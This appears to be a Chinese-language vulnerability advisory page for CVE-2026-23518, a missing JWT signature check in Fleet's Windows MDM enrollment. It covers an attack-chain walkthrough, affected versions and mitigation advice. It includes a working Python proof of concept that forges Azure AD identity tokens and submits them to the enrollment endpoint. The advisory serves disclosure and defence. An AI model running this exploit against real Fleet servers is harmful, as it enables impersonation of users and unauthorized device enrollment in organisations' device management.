IPBUF安全漏洞报告
English
CVE-2026-23518 CVSS 9.8 严重

CVE-2026-23518: Fleet Windows MDM JWT签名验证缺失导致身份冒充

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23518
漏洞类型
JWT签名验证缺失/身份认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fleet (开源设备管理软件)

相关标签

JWT签名验证缺失身份认证绕过Fleet MDMWindows设备管理Azure AD身份冒充CVE-2026-23518设备管理安全未授权设备注册

漏洞概述

CVE-2026-23518是Fleet设备管理软件中的一个严重安全漏洞,存在于Windows MDM(移动设备管理)注册流程中。该漏洞的根本原因是JWT(JSON Web Token)签名的验证机制缺失,允许攻击者能够提交伪造的认证令牌而不会被正确验证。攻击者可以利用此漏洞构造恶意的JWT token,其中包含任意的身份声明(如Azure AD用户身份),Fleet服务器会错误地接受这些攻击者控制的身份声明,从而允许未经授权的设备以任意Azure AD用户身份成功注册到Fleet MDM系统中。这不仅会导致设备管理权限的滥用,还可能造成敏感企业数据的泄露和横向移动攻击。漏洞影响多个版本,在4.78.3、4.77.1、4.76.2、4.75.2和4.53.3版本中已修复。鉴于该漏洞的高危性质和无需认证即可利用的特性,建议受影响用户立即升级或采取临时缓解措施。

技术细节

Fleet的Windows MDM enrollment功能在处理认证令牌时存在严重的安全缺陷。正常流程中,MDM客户端应向身份提供商(如Azure AD)进行身份验证,获取带有有效签名的JWT token,然后将该token提交给Fleet服务器进行验证。服务器端应该验证token的签名、过期时间、颁发者等关键字段以确保token的真实性。然而,由于Fleet在4.78.3之前的版本中未正确实现JWT签名的验证逻辑,攻击者可以直接构造包含任意身份信息的JWT payload,并使用任意的签名或根本不签名。Fleet服务器会跳过签名验证步骤,直接解析payload中的身份声明(如sub、email、name等字段),并据此创建会话和注册设备。攻击者可以伪造Azure AD用户的身份声明(如伪造email为[email protected]),使Fleet认为该设备是由高权限用户注册的。这种身份冒充可能导致攻击者获取设备管理权限、访问敏感配置数据或执行恶意管理操作。攻击者还可以利用此漏洞批量注册虚假设备,对MDM系统造成资源消耗和混乱。

攻击链分析

STEP 1
1
信息收集:攻击者识别目标Fleet服务器的Windows MDM enrollment端点(通常为/api/v1/mdm/enroll或类似路径)
STEP 2
2
构造伪造JWT:攻击者创建一个恶意的JWT token,在payload中填入目标Azure AD用户的身份信息(如email、sub、oid字段),使用任意签名或alg:none
STEP 3
3
绕过签名验证:利用Fleet服务器未实现JWT签名验证的缺陷,服务器会直接解析JWT payload而不检查签名有效性
STEP 4
4
设备注册请求:攻击者将伪造的JWT作为identity_token或Bearer token提交到Fleet的Windows MDM enrollment API
STEP 5
5
身份冒充成功:Fleet服务器错误地信任JWT中的身份声明,以攻击者指定的Azure AD用户身份注册设备
STEP 6
6
权限滥用:攻击者获得以高权限Azure AD用户身份注册的设备,可能访问敏感配置、部署恶意策略或进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import requests import json from datetime import datetime, timedelta # CVE-2026-23518 PoC - Fleet JWT Signature Bypass # Target: Fleet Windows MDM Enrollment Endpoint TARGET_URL = "https://fleet-server.com/api/v1/mdm/enroll" FAKE_AZURE_AD_USER = "[email protected]" FAKE_USER_ID = "00000000-0000-0000-0000-000000000001" def create_forged_jwt(): """ Create a forged JWT token with attacker-controlled identity claims Fleet server does not verify the signature, accepting any token """ # JWT Header - Algorithm set to none (unsigned) or any algorithm header = { "alg": "RS256", # Can be any algorithm, signature not verified "typ": "JWT" } # Malicious payload with forged Azure AD identity payload = { "sub": FAKE_USER_ID, "email": FAKE_AZURE_AD_USER, "name": "Fake Admin User", "preferred_username": FAKE_AZURE_AD_USER, "oid": FAKE_USER_ID, "iss": "https://login.microsoftonline.com/fake-tenant/v2.0", "aud": "api://FleetMDM", "iat": int(datetime.utcnow().timestamp()), "exp": int((datetime.utcnow() + timedelta(hours=1)).timestamp()) } # Forged signature - Fleet does not verify this forged_signature = "FAKE_SIGNATURE_THAT_WILL_NOT_BE_VERIFIED" # Construct the forged JWT token token = jwt.encode(payload, "fake-key", algorithm="HS256", headers=header) # Alternative: Use unsigned token (alg: none) # token = jwt.encode(payload, "", algorithm="none", headers={"alg": "none", "typ": "JWT"}) print(f"[+] Generated forged JWT token: {token[:50]}...") return token def exploit_fleet_mdm_enrollment(forged_token): """ Submit forged JWT token to Fleet Windows MDM enrollment endpoint """ headers = { "Content-Type": "application/json", "X-Device-Auth": "Windows", "Authorization": f"Bearer {forged_token}" } enrollment_data = { "device_id": "FAKE-DEVICE-ID-" + str(datetime.utcnow().timestamp()), "device_type": "windows", "enrollment_type": "mdm", "identity_token": forged_token } print(f"[+] Sending enrollment request to {TARGET_URL}") try: response = requests.post(TARGET_URL, json=enrollment_data, headers=headers, verify=False, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200 or response.status_code == 201: print("[+] SUCCESS: Device enrolled with forged identity!") print(f"[+] Device now associated with Azure AD user: {FAKE_AZURE_AD_USER}") return True else: print("[-] Enrollment failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2026-23518 - Fleet JWT Signature Bypass PoC") print("="*60) forged_token = create_forged_jwt() exploit_fleet_mdm_enrollment(forged_token) print("\n[!] Note: This PoC demonstrates the vulnerability for authorized testing only")

影响范围

Fleet < 4.78.3
Fleet < 4.77.1
Fleet < 4.76.2
Fleet < 4.75.2
Fleet < 4.53.3

防御指南

临时缓解措施
如果无法立即升级到修复版本,受影响的Fleet用户应立即临时禁用Windows MDM功能,以阻止攻击者利用此漏洞进行设备注册和身份冒充。同时,应检查现有的Windows MDM注册日志,查找异常的设备注册行为(如大量来自同一IP的注册请求或非预期的用户身份)。建议启用详细的审计日志,记录所有MDM enrollment请求的详细信息,包括JWT token的来源和内容(脱敏后),以便事后分析和溯源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表